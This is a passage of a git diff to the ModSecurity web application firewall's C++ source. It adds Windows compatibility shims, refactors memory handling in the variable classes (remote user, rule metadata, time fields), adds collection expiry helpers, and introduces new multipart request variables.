+} + + +inline std::string string_to_hex(std::string_view input) { + static const char* const lut = "0123456789abcdef"; + + std::string a(input.size()*2, 0); + char *d = a.data(); + + for (const unsigned char c : input) { + *d++ = lut[c >> 4]; + *d++ = lut[c & 15]; + } + + return a; +} + + +template +inline std::string toCaseHelper(std::string str, Operation op) { // cppcheck-suppress syntaxError ; false positive + std::transform(str.begin(), + str.end(), + str.begin(), + op); + + return str; +} + + +inline std::string tolower(std::string str) { // cppcheck-suppress passedByValue ; copied value is used for in-place transformation + return toCaseHelper(str, ::tolower); +} + + +inline std::string toupper(std::string str) { // cppcheck-suppress passedByValue ; copied value is used for in-place transformation + return toCaseHelper(str, ::toupper); +} + + +} // namespace modsecurity::utils::string #endif // SRC_UTILS_STRING_H_ diff --git a/src/utils/system.cc b/src/utils/system.cc index 690b5936a6..830b342438 100644 --- a/src/utils/system.cc +++ b/src/utils/system.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -19,6 +19,9 @@ #include #ifdef __OpenBSD__ #include +#elif defined(WIN32) +#include "Poco/Glob.h" +#include #else #include #endif @@ -31,6 +34,7 @@ #include #if defined _MSC_VER +#include "src/compat/msvc.h" #include #elif defined __GNUC__ #include @@ -40,6 +44,36 @@ #include "src/utils/system.h" #include "src/config.h" +#ifdef WIN32 + +// Public domain code from mingw-w64's winpthreads +// https://sourceforge.net/p/mingw-w64/code/HEAD/tree/trunk/mingw-w64-libraries/winpthreads/src/clock.c +// + +#define CLOCK_PROCESS_CPUTIME_ID 2 +#define POW10_7 10000000 + +// NOTE: includes only CLOCK_PROCESS_CPUTIME_ID implementation, ignores clock_id argument +static int clock_gettime(int clock_id, struct timespec *tp) +{ + unsigned __int64 t; + LARGE_INTEGER pf, pc; + union { + unsigned __int64 u64; + FILETIME ft; + } ct, et, kt, ut; + + if(0 == GetProcessTimes(GetCurrentProcess(), &ct.ft, &et.ft, &kt.ft, &ut.ft)) + return -1; + t = kt.u64 + ut.u64; + tp->tv_sec = t / POW10_7; + tp->tv_nsec = ((int) (t % POW10_7)) * 100; + + return 0; +} + +#endif + namespace modsecurity { namespace utils { @@ -64,19 +98,15 @@ double cpu_seconds(void) { std::string find_resource(const std::string& resource, const std::string& config, std::string *err) { - std::ifstream *iss; err->assign("Looking at: "); // Trying absolute or relative to the current dir. - iss = new std::ifstream(resource, std::ios::in); - if (iss->is_open()) { - iss->close(); - delete iss; + auto iss = std::ifstream(resource, std::ios::in); + if (iss.is_open()) { return resource; } else { err->append("'" + resource + "', "); } - delete iss; // What about `*' ? if (utils::expandEnv(resource, 0).size() > 0) { @@ -87,15 +117,12 @@ std::string find_resource(const std::string& resource, // Trying the same path of the configuration file. std::string f = get_path(config) + "/" + resource; - iss = new std::ifstream(f, std::ios::in); - if (iss->is_open()) { - iss->close(); - delete iss; + iss = std::ifstream(f, std::ios::in); + if (iss.is_open()) { return f; } else { err->append("'" + f + "', "); } - delete iss; // What about `*' ? if (utils::expandEnv(f, 0).size() > 0) { @@ -122,27 +149,34 @@ std::string get_path(const std::string& file) { std::list expandEnv(const std::string& var, int flags) { std::list vars; - -#ifdef __OpenBSD__ +#ifdef WIN32 + // NOTE: align scopes with if & if in other versions + { + { + std::set files; + Poco::Glob::glob(var, files); + for(auto file : files) { + std::replace(file.begin(), file.end(), '\\', '/'); // preserve unix-like paths + const char* exp[] = { file.c_str() }; +#elif defined(__OpenBSD__) glob_t p; if (glob(var.c_str(), flags, NULL, &p) == false) { if (p.gl_pathc) { for (char** exp = p.gl_pathv; *exp; ++exp) { #else wordexp_t p; + flags = flags | WRDE_NOCMD; if (wordexp(var.c_str(), &p, flags) == false) { if (p.we_wordc) { for (char** exp = p.we_wordv; *exp; ++exp) { #endif - std::ifstream *iss = new std::ifstream(exp[0], std::ios::in); - if (iss->is_open()) { - iss->close(); + auto iss = std::ifstream(exp[0], std::ios::in); + if (iss.is_open()) vars.push_back(exp[0]); - } - delete iss; } } -#ifdef __OpenBSD__ +#ifdef WIN32 +#elif defined(__OpenBSD__) globfree(&p); #else wordfree(&p); @@ -152,7 +186,13 @@ std::list expandEnv(const std::string& var, int flags) { } bool createDir(const std::string& dir, int mode, std::string *error) { +#ifndef WIN32 int ret = mkdir(dir.data(), mode); +#else + if (dir == ".") + return true; + int ret = _mkdir(dir.c_str()); +#endif if (ret != 0 && errno != EEXIST) { error->assign("Not able to create directory: " + dir + ": " \ + strerror(errno) + "."); @@ -170,7 +210,7 @@ bool isFile(const std::string& f) { return false; } fstat(fileno(fp), &fileInfo); - if (!S_ISREG(fileInfo.st_mode)) { + if (!S_ISREG(fileInfo.st_mode)) { // cppcheck-suppress syntaxError ; false positive fclose(fp); return false; } diff --git a/src/utils/system.h b/src/utils/system.h index b3033b44e9..d6b0adf631 100644 --- a/src/utils/system.h +++ b/src/utils/system.h @@ -13,8 +13,6 @@ * */ -#include -#include #include #include diff --git a/src/variables/env.cc b/src/variables/env.cc index dfb2c3f03d..95f0f766b3 100644 --- a/src/variables/env.cc +++ b/src/variables/env.cc @@ -25,9 +25,15 @@ #include #include +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + #include "modsecurity/transaction.h" +#ifndef WIN32 extern char **environ; +#endif namespace modsecurity { namespace variables { @@ -47,12 +53,20 @@ void Env::evaluate(Transaction *transaction, transaction->m_variableEnvs.insert(a); } - for (auto& x : transaction->m_variableEnvs) { - if (x.first != m_name && m_name.length() > 0) { + const auto hasName = m_name.length() > 0; + for (const auto& x : transaction->m_variableEnvs) { +#ifndef WIN32 + if (hasName && x.first != m_name) { +#else + if (hasName && strcasecmp(x.first.c_str(), m_name.c_str()) != 0) { +#endif continue; } - if (!m_keyExclusion.toOmit(x.first)) { - l->push_back(new VariableValue(&m_collectionName, &x.first, + // (Windows) we need to keep the case from the rule in case that from + // the environment differs. + const auto &key = hasName ? m_name : x.first; + if (!m_keyExclusion.toOmit(key)) { + l->push_back(new VariableValue(&m_collectionName, &key, &x.second)); } } diff --git a/src/variables/global.h b/src/variables/global.h index bc5914021f..8c7d393605 100644 --- a/src/variables/global.h +++ b/src/variables/global.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,7 +13,6 @@ * */ -#include #include #include #include @@ -106,6 +105,12 @@ class Global_DynamicElement : public Variable { t->m_rules->m_secWebAppId.m_value); } + static void setExpiry(Transaction *t, const std::string &k, int32_t expiry_seconds) { + t->m_collections.m_global_collection->setExpiry(k, + t->m_collections.m_global_collection_key, + t->m_rules->m_secWebAppId.m_value, expiry_seconds); + } + static void storeOrUpdateFirst(Transaction *t, const std::string &var, const std::string &value) { t->m_collections.m_global_collection->storeOrUpdateFirst( diff --git a/src/variables/ip.h b/src/variables/ip.h index b067748399..a32dbecd93 100644 --- a/src/variables/ip.h +++ b/src/variables/ip.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,7 +13,6 @@ * */ -#include #include #include #include @@ -105,6 +104,12 @@ class Ip_DynamicElement : public Variable { t->m_rules->m_secWebAppId.m_value); } + static void setExpiry(Transaction *t, const std::string &k, int32_t expiry_seconds) { + t->m_collections.m_ip_collection->setExpiry(k, + t->m_collections.m_ip_collection_key, + t->m_rules->m_secWebAppId.m_value, expiry_seconds); + } + static void storeOrUpdateFirst(Transaction *t, const std::string &var, const std::string &value) { t->m_collections.m_ip_collection->storeOrUpdateFirst( diff --git a/src/variables/multipart_duplicate_part_header.h b/src/variables/multipart_duplicate_part_header.h new file mode 100644 index 0000000000..44d7196d9c --- /dev/null +++ b/src/variables/multipart_duplicate_part_header.h @@ -0,0 +1,40 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2026 OWASP (https://owasp.org) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#include +#include +#include +#include +#include + +#ifndef SRC_VARIABLES_MULTIPART_DUPLICATE_PART_HEADER_H_ +#define SRC_VARIABLES_MULTIPART_DUPLICATE_PART_HEADER_H_ + +#include "src/variables/variable.h" + +namespace modsecurity { + +class Transaction; +namespace variables { + + +DEFINE_VARIABLE(MultipartDuplicatePartHeader, MULTIPART_DUPLICATE_PART_HEADER, + m_variableMultipartDuplicatePartHeader) + + +} // namespace variables +} // namespace modsecurity + +#endif // SRC_VARIABLES_MULTIPART_DUPLICATE_PART_HEADER_H_ diff --git a/src/variables/multipart_file_name_charset.h b/src/variables/multipart_file_name_charset.h new file mode 100644 index 0000000000..bccdba81f1 --- /dev/null +++ b/src/variables/multipart_file_name_charset.h @@ -0,0 +1,40 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2026 OWASP Foundation. All Rights Reserved. + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#include +#include +#include +#include +#include + +#ifndef SRC_VARIABLES_MULTIPART_FILE_NAME_CHARSET_H_ +#define SRC_VARIABLES_MULTIPART_FILE_NAME_CHARSET_H_ + +#include "src/variables/variable.h" + +namespace modsecurity { + +class Transaction; +namespace variables { + + +DEFINE_VARIABLE_DICT(MultiPartFileNameCharset, MULTIPART_FILENAME_CHARSET, + m_variableMultipartFileNameCharset) + + +} // namespace variables +} // namespace modsecurity + +#endif // SRC_VARIABLES_MULTIPART_FILE_NAME_CHARSET_H_ diff --git a/src/variables/multipart_file_name_language.h b/src/variables/multipart_file_name_language.h new file mode 100644 index 0000000000..90ad441654 --- /dev/null +++ b/src/variables/multipart_file_name_language.h @@ -0,0 +1,40 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2026 OWASP Foundation. All Rights Reserved. + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#include +#include +#include +#include +#include + +#ifndef SRC_VARIABLES_MULTIPART_FILE_NAME_LANGUAGE_H_ +#define SRC_VARIABLES_MULTIPART_FILE_NAME_LANGUAGE_H_ + +#include "src/variables/variable.h" + +namespace modsecurity { + +class Transaction; +namespace variables { + + +DEFINE_VARIABLE_DICT(MultiPartFileNameLanguage, MULTIPART_FILENAME_LANGUAGE, + m_variableMultipartFileNameLanguage) + + +} // namespace variables +} // namespace modsecurity + +#endif // SRC_VARIABLES_MULTIPART_FILE_NAME_LANGUAGE_H_ \ No newline at end of file diff --git a/src/variables/remote_user.cc b/src/variables/remote_user.cc index a6c6816b88..216bde4b6a 100644 --- a/src/variables/remote_user.cc +++ b/src/variables/remote_user.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -39,50 +39,45 @@ namespace variables { void RemoteUser::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - size_t pos; - std::string base64; - VariableValue *var; - std::string header; + std::vector l2; - std::vector *l2 = \ - new std::vector(); - transaction->m_variableRequestHeaders.resolve("authorization", l2); - - if (l2->size() < 1) { - goto clear; + transaction->m_variableRequestHeaders.resolve("authorization", &l2); + std::vector> l2Owners; + l2Owners.reserve(l2.size()); + for (const auto &a : l2) { + l2Owners.emplace_back(a); } - header = std::string(l2->at(0)->getValue()); + if (!l2.empty()) { + const auto *v = l2[0]; - if (header.compare(0, 6, "Basic ") == 0) { - base64 = std::string(header, 6, header.length()); - } + const auto &header = v->getValue(); - base64 = Utils::Base64::decode(base64); + std::string base64; - pos = base64.find(":"); - if (pos == std::string::npos) { - goto clear; - } - transaction->m_variableRemoteUser.assign(std::string(base64, 0, pos)); + if (header.compare(0, 6, "Basic ") == 0) { + base64 = std::string(header, 6, header.length()); + } - var = new VariableValue(&l2->at(0)->getKeyWithCollection(), - &transaction->m_variableRemoteUser); + std::string decodedAuthorization; + if (!Utils::Base64::decode(base64, &decodedAuthorization)) { + return; + } - for (auto &i : l2->at(0)->getOrigin()) { - std::unique_ptr origin(new VariableOrigin()); - origin->m_offset = i->m_offset; - origin->m_length = i->m_length; - var->addOrigin(std::move(origin)); - } - l->push_back(var); + if (const auto pos{decodedAuthorization.find(":")}; pos != std::string::npos) { + transaction->m_variableRemoteUser.assign(std::string(decodedAuthorization, 0, pos)); + + auto var = std::make_unique(&v->getKeyWithCollection(), + &transaction->m_variableRemoteUser); + + var->reserveOrigin(v->getOrigin().size()); + for (const auto &i : v->getOrigin()) { + var->addOrigin(i); + } + l->push_back(var.release()); + } -clear: - for (auto &a : *l2) { - delete a; } - l2->clear(); - delete l2; } diff --git a/src/variables/resource.h b/src/variables/resource.h index a66a711820..a198ce7624 100644 --- a/src/variables/resource.h +++ b/src/variables/resource.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,7 +13,6 @@ * */ -#include #include #include #include @@ -105,6 +104,13 @@ class Resource_DynamicElement : public Variable { t->m_rules->m_secWebAppId.m_value); } + static void setExpiry(Transaction *t, const std::string &k, int32_t expiry_seconds) { + t->m_collections.m_resource_collection->setExpiry(k, + t->m_collections.m_resource_collection_key, + t->m_rules->m_secWebAppId.m_value, expiry_seconds); + } + + static void storeOrUpdateFirst(Transaction *t, const std::string &var, const std::string &value) { t->m_collections.m_resource_collection->storeOrUpdateFirst( diff --git a/src/variables/rule.h b/src/variables/rule.h index f9e2f989d2..d7078c4679 100644 --- a/src/variables/rule.h +++ b/src/variables/rule.h @@ -1,6 +1,7 @@ /* * ModSecurity, http://www.modsecurity.org/ * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2026 OWASP Foundation (http://www.owasp.org/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -35,12 +36,12 @@ namespace variables { class Rule_DictElement : public VariableDictElement { \ public: explicit Rule_DictElement(const std::string &dictElement) - : VariableDictElement(std::string("RULE"), dictElement) { } + : VariableDictElement(m_rule, dictElement) { } static void id(Transaction *t, - RuleWithActions *rule, + const RuleWithActions *rule, std::vector *l) { - RuleWithActions *r = rule; + const RuleWithActions *r = rule; while (r && r->m_ruleId == 0) { r = r->m_chainedRuleParent; @@ -49,23 +50,15 @@ class Rule_DictElement : public VariableDictElement { \ if (!r || r->m_ruleId == 0) { return; } - std::unique_ptr origin(new VariableOrigin()); - std::string *a = new std::string(std::to_string(r->m_ruleId)); - VariableValue *var = new VariableValue(&m_rule, &m_rule_id, - a - ); - delete a; - origin->m_offset = 0; - origin->m_length = 0; - var->addOrigin(std::move(origin)); - l->push_back(var); + + addVariableOrigin(m_rule_id, std::to_string(r->m_ruleId), l); } static void rev(Transaction *t, - RuleWithActions *rule, + const RuleWithActions *rule, std::vector *l) { - RuleWithActions *r = rule; + const RuleWithActions *r = rule; while (r && r->m_rev.empty()) { r = r->m_chainedRuleParent; @@ -75,39 +68,21 @@ class Rule_DictElement : public VariableDictElement { \ return; } - std::unique_ptr origin(new VariableOrigin()); - std::string *a = new std::string(r->m_rev); - VariableValue *var = new VariableValue(&m_rule, &m_rule_rev, - a - ); - delete a; - origin->m_offset = 0; - origin->m_length = 0; - var->addOrigin(std::move(origin)); - l->push_back(var); + addVariableOrigin(m_rule_rev, r->m_rev, l); } static void severity(Transaction *t, - RuleWithActions *rule, + const RuleWithActions *rule, std::vector *l) { - RuleWithActions *r = rule; + const RuleWithActions *r = rule; while (r && !r->hasSeverity()) { r = r->m_chainedRuleParent; } if (r && r->hasSeverity()) { - std::unique_ptr origin(new VariableOrigin()); - std::string *a = new std::string(std::to_string(r->severity())); - VariableValue *var = new VariableValue(&m_rule, &m_rule_severity, - a - ); - delete a; - origin->m_offset = 0; - origin->m_length = 0; - var->addOrigin(std::move(origin)); - l->push_back(var); + addVariableOrigin(m_rule_severity, std::to_string(r->severity()), l); } } @@ -122,16 +97,7 @@ class Rule_DictElement : public VariableDictElement { \ } if (r && r->hasLogData()) { - std::unique_ptr origin(new VariableOrigin()); - std::string *a = new std::string(r->logData(t)); - VariableValue *var = new VariableValue(&m_rule, &m_rule_logdata, - a - ); - delete a; - origin->m_offset = 0; - origin->m_length = 0; - var->addOrigin(std::move(origin)); - l->push_back(var); + addVariableOrigin(m_rule_logdata, r->logData(t), l); } } @@ -145,39 +111,30 @@ class Rule_DictElement : public VariableDictElement { \ } if (r && r->hasMsg()) { - std::unique_ptr origin(new VariableOrigin()); - std::string *a = new std::string(r->msg(t)); - VariableValue *var = new VariableValue(&m_rule, &m_rule_msg, - a - ); - delete a; - origin->m_offset = 0; - origin->m_length = 0; - var->addOrigin(std::move(origin)); - l->push_back(var); + addVariableOrigin(m_rule_msg, r->msg(t), l); } } void evaluate(Transaction *t, RuleWithActions *rule, std::vector *l) override { - if (m_dictElement == "id") { + if (m_dictElement == m_rule_id) { id(t, rule, l); return; } - if (rule && m_dictElement == "rev") { + if (rule && m_dictElement == m_rule_rev) { rev(t, rule, l); return; } - if (rule && m_dictElement == "severity") { + if (rule && m_dictElement == m_rule_severity) { severity(t, rule, l); return; } - if (m_dictElement == "logdata") { + if (m_dictElement == m_rule_logdata) { logData(t, rule, l); return; } - if (m_dictElement == "msg") { + if (m_dictElement == m_rule_msg) { msg(t, rule, l); return; } @@ -189,6 +146,18 @@ class Rule_DictElement : public VariableDictElement { \ static const std::string m_rule_severity; static const std::string m_rule_logdata; static const std::string m_rule_msg; + +private: + + static inline void addVariableOrigin(const std::string &key, + const std::string &value, + std::vector *l) { + auto var = new VariableValue(&m_rule, &key, + &value + ); + var->addOrigin(); + l->push_back(var); + } }; diff --git a/src/variables/session.h b/src/variables/session.h index 114f5d7ecb..02efbe66db 100644 --- a/src/variables/session.h +++ b/src/variables/session.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,7 +13,6 @@ * */ -#include #include #include #include @@ -105,6 +104,12 @@ class Session_DynamicElement : public Variable { t->m_collections.m_ip_collection_key); } + static void setExpiry(Transaction *t, const std::string &k, int32_t expiry_seconds) { + t->m_collections.m_session_collection->setExpiry(k, + t->m_collections.m_session_collection_key, + t->m_rules->m_secWebAppId.m_value, expiry_seconds); + } + static void storeOrUpdateFirst(Transaction *t, const std::string &var, const std::string &value) { t->m_collections.m_session_collection->storeOrUpdateFirst( diff --git a/src/variables/time.cc b/src/variables/time.cc index ae071b496f..c674f4e04f 100644 --- a/src/variables/time.cc +++ b/src/variables/time.cc @@ -30,21 +30,23 @@ #include "modsecurity/transaction.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { namespace variables { void Time::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - - char tstr[200]; - struct tm timeinfo; time_t timer; - time(&timer); - memset(tstr, '\0', 200); + struct tm timeinfo; localtime_r(&timer, &timeinfo); + + char tstr[std::size("hh:mm:ss")]; strftime(tstr, 200, "%H:%M:%S", &timeinfo); transaction->m_variableTime.assign(tstr); diff --git a/src/variables/time_day.cc b/src/variables/time_day.cc index f74a8409be..eefe937fb5 100644 --- a/src/variables/time_day.cc +++ b/src/variables/time_day.cc @@ -30,21 +30,24 @@ #include "modsecurity/transaction.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { namespace variables { void TimeDay::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - char tstr[200]; - struct tm timeinfo; time_t timer; - time(&timer); - memset(tstr, '\0', 200); + struct tm timeinfo; localtime_r(&timer, &timeinfo); - strftime(tstr, 200, "%d", &timeinfo); + + char tstr[std::size("dd")]; + strftime(tstr, std::size(tstr), "%d", &timeinfo); transaction->m_variableTimeDay.assign(tstr); diff --git a/src/variables/time_hour.cc b/src/variables/time_hour.cc index 0f2a421931..1a9c1bf75f 100644 --- a/src/variables/time_hour.cc +++ b/src/variables/time_hour.cc @@ -30,21 +30,24 @@ #include "modsecurity/transaction.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { namespace variables { void TimeHour::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - char tstr[200]; - struct tm timeinfo; time_t timer; - time(&timer); - memset(tstr, '\0', 200); + struct tm timeinfo; localtime_r(&timer, &timeinfo); - strftime(tstr, 200, "%H", &timeinfo); + + char tstr[std::size("hh")]; + strftime(tstr, std::size(tstr), "%H", &timeinfo); transaction->m_variableTimeHour.assign(tstr); diff --git a/src/variables/time_min.cc b/src/variables/time_min.cc index 526d8e6f61..134582de4e 100644 --- a/src/variables/time_min.cc +++ b/src/variables/time_min.cc @@ -30,21 +30,24 @@ #include "modsecurity/transaction.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { namespace variables { void TimeMin::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - char tstr[200]; - struct tm timeinfo; time_t timer; - time(&timer); - memset(tstr, '\0', 200); + struct tm timeinfo; localtime_r(&timer, &timeinfo); - strftime(tstr, 200, "%M", &timeinfo); + + char tstr[std::size("mm")]; + strftime(tstr, std::size(tstr), "%M", &timeinfo); transaction->m_variableTimeMin.assign(tstr); diff --git a/src/variables/time_mon.cc b/src/variables/time_mon.cc index 53ba291904..cbc73bd404 100644 --- a/src/variables/time_mon.cc +++ b/src/variables/time_mon.cc @@ -30,25 +30,23 @@ #include "modsecurity/transaction.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { namespace variables { void TimeMon::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - char tstr[200]; - struct tm timeinfo; time_t timer; - time(&timer); - memset(tstr, '\0', 200); + struct tm timeinfo; localtime_r(&timer, &timeinfo); - strftime(tstr, 200, "%m", &timeinfo); - int a = atoi(tstr); - a--; - transaction->m_variableTimeMin.assign(std::to_string(a)); + transaction->m_variableTimeMin.assign(std::to_string(timeinfo.tm_mon + 1)); l->push_back(new VariableValue(&m_retName, &transaction->m_variableTimeMin)); diff --git a/src/variables/time_sec.cc b/src/variables/time_sec.cc index 20d3be7a93..a960477100 100644 --- a/src/variables/time_sec.cc +++ b/src/variables/time_sec.cc @@ -30,21 +30,24 @@ #include "modsecurity/transaction.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { namespace variables { void TimeSec::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - char tstr[200]; - struct tm timeinfo; time_t timer; - time(&timer); - memset(tstr, '\0', 200); + struct tm timeinfo; localtime_r(&timer, &timeinfo); - strftime(tstr, 200, "%S", &timeinfo); + + char tstr[std::size("ss")]; + strftime(tstr, std::size(tstr), "%S", &timeinfo); transaction->m_variableTimeSec.assign(tstr); diff --git a/src/variables/time_wday.cc b/src/variables/time_wday.cc index ff9825c189..e1840f5823 100644 --- a/src/variables/time_wday.cc +++ b/src/variables/time_wday.cc @@ -30,21 +30,24 @@ #include "modsecurity/transaction.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { namespace variables { void TimeWDay::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - char tstr[200]; - struct tm timeinfo; time_t timer; - time(&timer); - memset(tstr, '\0', 200); + struct tm timeinfo; localtime_r(&timer, &timeinfo); - strftime(tstr, 200, "%u", &timeinfo); + + char tstr[std::size("d")]; + strftime(tstr, std::size(tstr), "%u", &timeinfo); transaction->m_variableTimeWDay.assign(tstr); diff --git a/src/variables/time_year.cc b/src/variables/time_year.cc index a465612543..a8f1a50287 100644 --- a/src/variables/time_year.cc +++ b/src/variables/time_year.cc @@ -30,21 +30,24 @@ #include "modsecurity/transaction.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { namespace variables { void TimeYear::evaluate(Transaction *transaction, RuleWithActions *rule, std::vector *l) { - char tstr[200]; - struct tm timeinfo; time_t timer; - time(&timer); - memset(tstr, '\0', 200); + struct tm timeinfo; localtime_r(&timer, &timeinfo); - strftime(tstr, 200, "%Y", &timeinfo); + + char tstr[std::size("yyyy")]; + strftime(tstr, std::size(tstr), "%Y", &timeinfo); transaction->m_variableTimeYear.assign(tstr); diff --git a/src/variables/user.h b/src/variables/user.h index 7d31b42704..a0a46533eb 100644 --- a/src/variables/user.h +++ b/src/variables/user.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,7 +13,6 @@ * */ -#include #include #include #include @@ -105,6 +104,12 @@ class User_DynamicElement : public Variable { t->m_rules->m_secWebAppId.m_value); } + static void setExpiry(Transaction *t, const std::string &k, int32_t expiry_seconds) { + t->m_collections.m_user_collection->setExpiry(k, + t->m_collections.m_user_collection_key, + t->m_rules->m_secWebAppId.m_value, expiry_seconds); + } + static void storeOrUpdateFirst(Transaction *t, const std::string &var, const std::string &value) { t->m_collections.m_user_collection->storeOrUpdateFirst( diff --git a/src/variables/variable.cc b/src/variables/variable.cc index 0a50d3223d..caf8f6fd88 100644 --- a/src/variables/variable.cc +++ b/src/variables/variable.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -48,23 +48,23 @@ Variable::Variable(const std::string &name) } -Variable::Variable(Variable *var) : +Variable::Variable(const Variable *var) : m_name(var->m_name), m_collectionName(var->m_collectionName), m_fullName(var->m_fullName) { } -void Variable::addsKeyExclusion(Variable *v) { +void Variable::addsKeyExclusion(const Variable *v) { std::unique_ptr r; - VariableModificatorExclusion *ve = \ - dynamic_cast(v); - VariableRegex *vr; + const auto *ve = \ + dynamic_cast(v); + const VariableRegex *vr; if (!ve) { return; } - vr = dynamic_cast(ve->m_base.get()); + vr = dynamic_cast(ve->m_base.get()); if (vr == NULL) { r.reset(new KeyExclusionString(v->m_name)); @@ -76,14 +76,14 @@ void Variable::addsKeyExclusion(Variable *v) { } -std::string operator+(const std::string &a, Variable *v) { +std::string operator+(const std::string &a, const Variable *v) { return a + *v->m_fullName.get(); } -std::string operator+(const std::string &a, Variables *v) { +std::string operator+(const std::string &a, const Variables *v) { std::string test; - for (auto &b : *v) { + for (const auto &b : *v) { if (test.empty()) { test = std::string("") + b; } else { diff --git a/src/variables/variable.h b/src/variables/variable.h index b0b27cec5c..e47ed9590c 100644 --- a/src/variables/variable.h +++ b/src/variables/variable.h @@ -1,6 +1,7 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2026 OWASP Foundation (http://www.owasp.org/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -132,7 +133,7 @@ class KeyExclusionRegex : public KeyExclusion { class KeyExclusionString : public KeyExclusion { public: - explicit KeyExclusionString(std::string &a) + explicit KeyExclusionString(const std::string &a) : m_key(utils::string::toupper(a)) { } ~KeyExclusionString() override { } @@ -154,7 +155,7 @@ class KeyExclusions : public std::deque> { KeyExclusions() { } - bool toOmit(std::string a) { + bool toOmit(std::string a) const { for (auto &z : *this) { if (z->match(a)) { return true; @@ -162,6 +163,10 @@ class KeyExclusions : public std::deque> { } return false; } + + bool toOmit(std::string a) { // cppcheck-suppress passedByValue + return static_cast(*this).toOmit(a); + } }; @@ -179,173 +184,213 @@ class VariableMonkeyResolution { static void stringMatchResolveMulti(Transaction *t, const std::string &variable, std::vector *l) { - size_t collection = variable.find("."); - if (collection == std::string::npos) { - collection = variable.find(":"); + size_t collection_delimiter_offset = variable.find("."); + if (collection_delimiter_offset == std::string::npos) { + 